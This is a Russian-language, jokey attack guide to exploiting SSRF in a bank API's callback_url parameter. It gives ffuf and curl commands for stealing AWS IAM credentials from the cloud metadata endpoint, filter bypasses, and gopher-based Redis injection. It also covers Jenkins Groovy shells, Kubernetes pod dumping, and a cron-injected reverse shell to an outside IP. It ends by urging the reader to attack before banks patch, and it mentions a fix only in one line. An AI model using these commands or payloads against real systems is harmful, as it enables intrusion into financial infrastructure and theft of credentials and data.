Точка входа
Что вижу:
Банковский API с /v1/transaction
, который принимает callback_url
. В ответе — статус 200, но в теле Internal Server Error
, когда кидаешь http://localhost
. Пахнет SSRF-ом, как залежалый макчак в подвале.
Как поймал:
— Инструмент: ffuf -w urls.txt -u 'https://bank.com/v1/transaction?callback=FUZZ' -mr 'error'
— Метод: Fuzzing параметров на внутренние IP (127.0.0.1, 192.168.x.x).
Чем пахнет:
— Класс: SSRF → чтение метаданных/подмена запросов к внутренним сервисам.
— Вероятность: 9/10. Банки любят legacy-код с дефолтными настройками.
Че почем
Эксплойт:
1 2 |
curl -X POST 'https://bank.com/v1/transaction' \ -d 'callback_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' |
Если повезёт: В ответе получишь AWS-ключи админа, который забыл настроить VPC.
Обход защиты:
— Подмена IP через шестнадцатеричный формат: http://0x7f000001
→ 127.0.0.1.
— DNS-ребейнд: http://randomstring.burpcollaborator.net
→ слови callback на свой сервер.
Доказательство:
Скриншот ответа с данными IAM-роли. «Видишь AccessKeyId? Это не пароль от Wi-Fi — это твой билет на Бали».
Хвост от старика
3 вектора для добивания:
-
Перехват Jenkins:
http://jenkins.internal:8080/administrative/script
— если открыт, заливай Groovy-шелл. -
Атака на Redis: Используй
gopher://
для инъекции команд в unprotected Redis:
1 |
gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0AINFO%0D%0A |
-
Кража куков Kubernetes:
http://localhost:10255/pods
→ если вернулись поды — дамь их черезkubectl
.
План атаки:
-
Проверяешь, отвечает ли
callback_url
на внутренние запросы. -
Цель — метаданные облака (
169.254.169.254
для AWS,metadata.google.internal
для GCP). -
Если клауд закрыт — ищи интранет:
postgres.internal:5432
,vault:8200
,elasticsearch:9200
. -
При успехе — либо сливай данные, либо поднимай reverse-shell через
crond
:
1 |
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/144.228.71.44/1337 0>&1'" | curl -X POST --data-binary @- http://bank.com/v1/transaction?callback_url=http://internal-ci:8080/job/build/apply |
Бонус от деда
Если в ответе светится X-Powered-By: BankFramework 2.3
:
— Гугли CVE-2022-23944 (SSRF via malformed URLs).
— Эксплойт: callback_url=http://attacker.com%20@internal.api:8080
.
Мемная аналитика:
«Банковские API — как тёща: доверяешь им деньги, а они сливают всё через банальный SSRF».
Итог:
— Уязвимость: Кривой валидация URL.
— Фикс: Блокировать запросы к localhost/cloud-metadata, использовать allow-листы.
— Но банки фиксят через 5 лет. Дерзай, пока не залатали.